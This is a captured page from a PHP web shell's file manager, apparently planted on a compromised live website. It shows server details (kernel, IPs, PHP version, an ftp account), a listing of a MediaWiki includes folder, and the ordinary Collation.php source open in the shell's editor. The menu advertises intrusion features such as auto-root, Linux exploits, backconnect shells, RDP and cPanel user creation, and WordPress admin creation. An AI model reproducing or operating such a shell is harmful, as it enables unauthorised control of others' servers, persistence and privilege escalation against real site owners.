Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
actions
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
debug
[ DIR ]
drwxr-xr-x
diff
[ DIR ]
drwxr-xr-x
extauth
[ DIR ]
drwxr-xr-x
filerepo
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
interwiki
[ DIR ]
drwxr-xr-x
job
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
logging
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
normal
[ DIR ]
drwxr-xr-x
objectcache
[ DIR ]
drwxr-xr-x
parser
[ DIR ]
drwxr-xr-x
profiler
[ DIR ]
drwxr-xr-x
resourceloader
[ DIR ]
drwxr-xr-x
revisiondelete
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
specials
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxr-xr-x
zhtable
[ DIR ]
drwxr-xr-x
.htaccess
14
B
-rw-r--r--
Action.php
14.69
KB
-rw-r--r--
AjaxDispatcher.php
3.34
KB
-rw-r--r--
AjaxResponse.php
6.32
KB
-rw-r--r--
Article.php
54.32
KB
-rw-r--r--
AuthPlugin.php
7.85
KB
-rw-r--r--
AutoLoader.php
52.01
KB
-rw-r--r--
Autopromote.php
5.92
KB
-rw-r--r--
BacklinkCache.php
9.32
KB
-rw-r--r--
Block.php
33.87
KB
-rw-r--r--
Category.php
8.44
KB
-rw-r--r--
CategoryPage.php
2.58
KB
-rw-r--r--
CategoryViewer.php
20
KB
-rw-r--r--
Categoryfinder.php
5.16
KB
-rw-r--r--
Cdb.php
3.67
KB
-rw-r--r--
Cdb_PHP.php
10.73
KB
-rw-r--r--
ChangeTags.php
8.57
KB
-rw-r--r--
ChangesFeed.php
5.94
KB
-rw-r--r--
ChangesList.php
34.87
KB
-rw-r--r--
Collation.php
9.86
KB
-rw-r--r--
ConfEditor.php
29.16
KB
-rw-r--r--
Cookie.php
6.22
KB
-rw-r--r--
CryptRand.php
17.09
KB
-rw-r--r--
DefaultSettings.php
186.34
KB
-rw-r--r--
DeferredUpdates.php
2.06
KB
-rw-r--r--
Defines.php
7.21
KB
-rw-r--r--
EditPage.php
103.6
KB
-rw-r--r--
Exception.php
13.93
KB
-rw-r--r--
Export.php
32.68
KB
-rw-r--r--
ExternalEdit.php
3.51
KB
-rw-r--r--
ExternalStore.php
4.29
KB
-rw-r--r--
ExternalStoreDB.php
4.47
KB
-rw-r--r--
ExternalStoreHttp.php
463
B
-rw-r--r--
ExternalUser.php
8.96
KB
-rw-r--r--
FakeTitle.php
6.54
KB
-rw-r--r--
Fallback.php
5.61
KB
-rw-r--r--
Feed.php
10.26
KB
-rw-r--r--
FeedUtils.php
6.37
KB
-rw-r--r--
FileDeleteForm.php
10.06
KB
-rw-r--r--
ForkController.php
4.04
KB
-rw-r--r--
FormOptions.php
7.56
KB
-rw-r--r--
GlobalFunctions.php
107.24
KB
-rw-r--r--
HTMLForm.php
53.15
KB
-rw-r--r--
HistoryBlob.php
14.38
KB
-rw-r--r--
Hooks.php
7.89
KB
-rw-r--r--
Html.php
26.4
KB
-rw-r--r--
HttpFunctions.old.php
318
B
-rw-r--r--
HttpFunctions.php
23.29
KB
-rw-r--r--
IP.php
21.76
KB
-rw-r--r--
ImageFunctions.php
2.33
KB
-rw-r--r--
ImageGallery.php
10.42
KB
-rw-r--r--
ImagePage.php
36.96
KB
-rw-r--r--
ImageQueryPage.php
1.5
KB
-rw-r--r--
Import.php
37.73
KB
-rw-r--r--
Init.php
5.19
KB
-rw-r--r--
Licenses.php
4.17
KB
-rw-r--r--
LinkFilter.php
4.46
KB
-rw-r--r--
Linker.php
67.82
KB
-rw-r--r--
LinksUpdate.php
24.83
KB
-rw-r--r--
LocalisationCache.php
31.51
KB
-rw-r--r--
MWFunction.php
2.22
KB
-rw-r--r--
MagicWord.php
19.42
KB
-rw-r--r--
Message.php
15.95
KB
-rw-r--r--
MessageBlobStore.php
10.5
KB
-rw-r--r--
Metadata.php
5.5
KB
-rw-r--r--
MimeMagic.php
32.92
KB
-rw-r--r--
Namespace.php
9.02
KB
-rw-r--r--
OutputHandler.php
4.81
KB
-rw-r--r--
OutputPage.php
104.02
KB
-rw-r--r--
PHPVersionError.php
2.95
KB
-rw-r--r--
PageQueryPage.php
639
B
-rw-r--r--
Pager.php
33.1
KB
-rw-r--r--
PathRouter.php
11.23
KB
-rw-r--r--
PoolCounter.php
5.69
KB
-rw-r--r--
Preferences.php
47.49
KB
-rw-r--r--
PrefixSearch.php
5.55
KB
-rw-r--r--
ProtectionForm.php
20.1
KB
-rw-r--r--
ProxyTools.php
2.5
KB
-rw-r--r--
QueryPage.php
22.78
KB
-rw-r--r--
RecentChange.php
22.31
KB
-rw-r--r--
Revision.php
33.01
KB
-rw-r--r--
RevisionList.php
7.2
KB
-rw-r--r--
Sanitizer.php
52.53
KB
-rw-r--r--
SeleniumWebSettings.php
5.85
KB
-rw-r--r--
Setup.php
16.36
KB
-rw-r--r--
SiteConfiguration.php
12.88
KB
-rw-r--r--
SiteStats.php
11.54
KB
-rw-r--r--
Skin.php
41.11
KB
-rw-r--r--
SkinLegacy.php
20.25
KB
-rw-r--r--
SkinTemplate.php
62.44
KB
-rw-r--r--
SpecialPage.php
32.82
KB
-rw-r--r--
SpecialPageFactory.php
18.3
KB
-rw-r--r--
SquidPurgeClient.php
10.05
KB
-rw-r--r--
Status.php
8.62
KB
-rw-r--r--
StreamFile.php
5.46
KB
-rw-r--r--
StringUtils.php
11.32
KB
-rw-r--r--
StubObject.php
4.61
KB
-rw-r--r--
Title.php
133.73
KB
-rw-r--r--
TitleArray.php
1.95
KB
-rw-r--r--
User.php
116.25
KB
-rw-r--r--
UserArray.php
1.92
KB
-rw-r--r--
UserMailer.php
24.12
KB
-rw-r--r--
UserRightsProxy.php
5.56
KB
-rw-r--r--
ViewCountUpdate.php
3.43
KB
-rw-r--r--
WatchedItem.php
4.81
KB
-rw-r--r--
WebRequest.php
37.03
KB
-rw-r--r--
WebResponse.php
4.29
KB
-rw-r--r--
WebStart.php
4.94
KB
-rw-r--r--
Wiki.php
18.24
KB
-rw-r--r--
WikiCategoryPage.php
618
B
-rw-r--r--
WikiError.php
3.88
KB
-rw-r--r--
WikiFilePage.php
3.71
KB
-rw-r--r--
WikiMap.php
5.38
KB
-rw-r--r--
WikiPage.php
85.98
KB
-rw-r--r--
Xml.php
27.63
KB
-rw-r--r--
XmlTypeCheck.php
2.52
KB
-rw-r--r--
ZhClient.php
2.85
KB
-rw-r--r--
ZhConversion.php
415
KB
-rw-r--r--
ZipDirectoryReader.php
20.33
KB
-rw-r--r--
mime.info
3.86
KB
-rw-r--r--
mime.types
5.24
KB
-rw-r--r--
tidy.conf
413
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Collation.php
<?php abstract class Collation { static $instance; /** * @return Collation */ static function singleton() { if ( !self::$instance ) { global $wgCategoryCollation; self::$instance = self::factory( $wgCategoryCollation ); } return self::$instance; } /** * @throws MWException * @param $collationName string * @return Collation */ static function factory( $collationName ) { switch( $collationName ) { case 'uppercase': return new UppercaseCollation; case 'identity': return new IdentityCollation; case 'uca-default': return new IcuCollation( 'root' ); default: # Provide a mechanism for extensions to hook in. $collationObject = null; wfRunHooks( 'Collation::factory', array( $collationName, &$collationObject ) ); if ( $collationObject instanceof Collation ) { return $collationObject; } // If all else fails... throw new MWException( __METHOD__.": unknown collation type \"$collationName\"" ); } } /** * Given a string, convert it to a (hopefully short) key that can be used * for efficient sorting. A binary sort according to the sortkeys * corresponds to a logical sort of the corresponding strings. Current * code expects that a line feed character should sort before all others, but * has no other particular expectations (and that one can be changed if * necessary). * * @param string $string UTF-8 string * @return string Binary sortkey */ abstract function getSortKey( $string ); /** * Given a string, return the logical "first letter" to be used for * grouping on category pages and so on. This has to be coordinated * carefully with convertToSortkey(), or else the sorted list might jump * back and forth between the same "initial letters" or other pathological * behavior. For instance, if you just return the first character, but "a" * sorts the same as "A" based on getSortKey(), then you might get a * list like * * == A == * * [[Aardvark]] * * == a == * * [[antelope]] * * == A == * * [[Ape]] * * etc., assuming for the sake of argument that $wgCapitalLinks is false. * * @param string $string UTF-8 string * @return string UTF-8 string corresponding to the first letter of input */ abstract function getFirstLetter( $string ); } class UppercaseCollation extends Collation { var $lang; function __construct() { // Get a language object so that we can use the generic UTF-8 uppercase // function there $this->lang = Language::factory( 'en' ); } function getSortKey( $string ) { return $this->lang->uc( $string ); } function getFirstLetter( $string ) { if ( $string[0] == "\0" ) { $string = substr( $string, 1 ); } return $this->lang->ucfirst( $this->lang->firstChar( $string ) ); } } /** * Collation class that's essentially a no-op. * * Does sorting based on binary value of the string. * Like how things were pre 1.17. */ class IdentityCollation extends Collation { function getSortKey( $string ) { return $string; } function getFirstLetter( $string ) { global $wgContLang; // Copied from UppercaseCollation. // I'm kind of unclear on when this could happen... if ( $string[0] == "\0" ) { $string = substr( $string, 1 ); } return $wgContLang->firstChar( $string ); } } class IcuCollation extends Collation { var $primaryCollator, $mainCollator, $locale; var $firstLetterData; /** * Unified CJK blocks. * * The same definition of a CJK block must be used for both Collation and * generateCollationData.php. These blocks are omitted from the first * letter data, as an optimisation measure and because the default UCA table * is pretty useless for sorting Chinese text anyway. Japanese and Korean * blocks are not included here, because they are smaller and more useful. */ static $cjkBlocks = array( array( 0x2E80, 0x2EFF ), // CJK Radicals Supplement array( 0x2F00, 0x2FDF ), // Kangxi Radicals array( 0x2FF0, 0x2FFF ), // Ideographic Description Characters array( 0x3000, 0x303F ), // CJK Symbols and Punctuation array( 0x31C0, 0x31EF ), // CJK Strokes array( 0x3200, 0x32FF ), // Enclosed CJK Letters and Months array( 0x3300, 0x33FF ), // CJK Compatibility array( 0x3400, 0x4DBF ), // CJK Unified Ideographs Extension A array( 0x4E00, 0x9FFF ), // CJK Unified Ideographs array( 0xF900, 0xFAFF ), // CJK Compatibility Ideographs array( 0xFE30, 0xFE4F ), // CJK Compatibility Forms array( 0x20000, 0x2A6DF ), // CJK Unified Ideographs Extension B array( 0x2A700, 0x2B73F ), // CJK Unified Ideographs Extension C array( 0x2B740, 0x2B81F ), // CJK Unified Ideographs Extension D array( 0x2F800, 0x2FA1F ), // CJK Compatibility Ideographs Supplement ); const RECORD_LENGTH = 14; function __construct( $locale ) { if ( !extension_loaded( 'intl' ) ) { throw new MWException( 'An ICU collation was requested, ' . 'but the intl extension is not available.' ); } $this->locale = $locale; $this->mainCollator = Collator::create( $locale ); if ( !$this->mainCollator ) { throw new MWException( "Invalid ICU locale specified for collation: $locale" ); } $this->primaryCollator = Collator::create( $locale ); $this->primaryCollator->setStrength( Collator::PRIMARY ); } function getSortKey( $string ) { // intl extension produces non null-terminated // strings. Appending '' fixes it so that it doesn't generate // a warning on each access in debug php. wfSuppressWarnings(); $key = $this->mainCollator->getSortKey( $string ) . ''; wfRestoreWarnings(); return $key; } function getPrimarySortKey( $string ) { wfSuppressWarnings(); $key = $this->primaryCollator->getSortKey( $string ) . ''; wfRestoreWarnings(); return $key; } function getFirstLetter( $string ) { $string = strval( $string ); if ( $string === '' ) { return ''; } // Check for CJK $firstChar = mb_substr( $string, 0, 1, 'UTF-8' ); if ( ord( $firstChar ) > 0x7f && self::isCjk( utf8ToCodepoint( $firstChar ) ) ) { return $firstChar; } $sortKey = $this->getPrimarySortKey( $string ); // Do a binary search to find the correct letter to sort under $min = $this->findLowerBound( array( $this, 'getSortKeyByLetterIndex' ), $this->getFirstLetterCount(), 'strcmp', $sortKey ); if ( $min === false ) { // Before the first letter return ''; } return $this->getLetterByIndex( $min ); } function getFirstLetterData() { if ( $this->firstLetterData !== null ) { return $this->firstLetterData; } $cache = wfGetCache( CACHE_ANYTHING ); $cacheKey = wfMemcKey( 'first-letters', $this->locale ); $cacheEntry = $cache->get( $cacheKey ); if ( $cacheEntry ) { $this->firstLetterData = $cacheEntry; return $this->firstLetterData; } // Generate data from serialized data file $letters = wfGetPrecompiledData( "first-letters-{$this->locale}.ser" ); if ( $letters === false ) { throw new MWException( "MediaWiki does not support ICU locale " . "\"{$this->locale}\"" ); } // Sort the letters. // // It's impossible to have the precompiled data file properly sorted, // because the sort order changes depending on ICU version. If the // array is not properly sorted, the binary search will return random // results. // // We also take this opportunity to remove primary collisions. $letterMap = array(); foreach ( $letters as $letter ) { $key = $this->getPrimarySortKey( $letter ); if ( isset( $letterMap[$key] ) ) { // Primary collision // Keep whichever one sorts first in the main collator if ( $this->mainCollator->compare( $letter, $letterMap[$key] ) < 0 ) { $letterMap[$key] = $letter; } } else { $letterMap[$key] = $letter; } } ksort( $letterMap, SORT_STRING ); $data = array( 'chars' => array_values( $letterMap ), 'keys' => array_keys( $letterMap ) ); // Reduce memory usage before caching unset( $letterMap ); // Save to cache $this->firstLetterData = $data; $cache->set( $cacheKey, $data, 86400 * 7 /* 1 week */ ); return $data; } function getLetterByIndex( $index ) { if ( $this->firstLetterData === null ) { $this->getFirstLetterData(); } return $this->firstLetterData['chars'][$index]; } function getSortKeyByLetterIndex( $index ) { if ( $this->firstLetterData === null ) { $this->getFirstLetterData(); } return $this->firstLetterData['keys'][$index]; } function getFirstLetterCount() { if ( $this->firstLetterData === null ) { $this->getFirstLetterData(); } return count( $this->firstLetterData['chars'] ); } /** * Do a binary search, and return the index of the largest item that sorts * less than or equal to the target value. * * @param $valueCallback array A function to call to get the value with * a given array index. * @param $valueCount int The number of items accessible via $valueCallback, * indexed from 0 to $valueCount - 1 * @param $comparisonCallback array A callback to compare two values, returning * -1, 0 or 1 in the style of strcmp(). * @param $target string The target value to find. * * @return The item index of the lower bound, or false if the target value * sorts before all items. */ function findLowerBound( $valueCallback, $valueCount, $comparisonCallback, $target ) { $min = 0; $max = $valueCount - 1; do { $mid = $min + ( ( $max - $min ) >> 1 ); $item = call_user_func( $valueCallback, $mid ); $comparison = call_user_func( $comparisonCallback, $target, $item ); if ( $comparison > 0 ) { $min = $mid; } elseif ( $comparison == 0 ) { $min = $mid; break; } else { $max = $mid; } } while ( $min < $max - 1 ); if ( $min == 0 && $max == 0 && $comparison > 0 ) { // Before the first item return false; } else { return $min; } } static function isCjk( $codepoint ) { foreach ( self::$cjkBlocks as $block ) { if ( $codepoint >= $block[0] && $codepoint <= $block[1] ) { return true; } } return false; } }
Close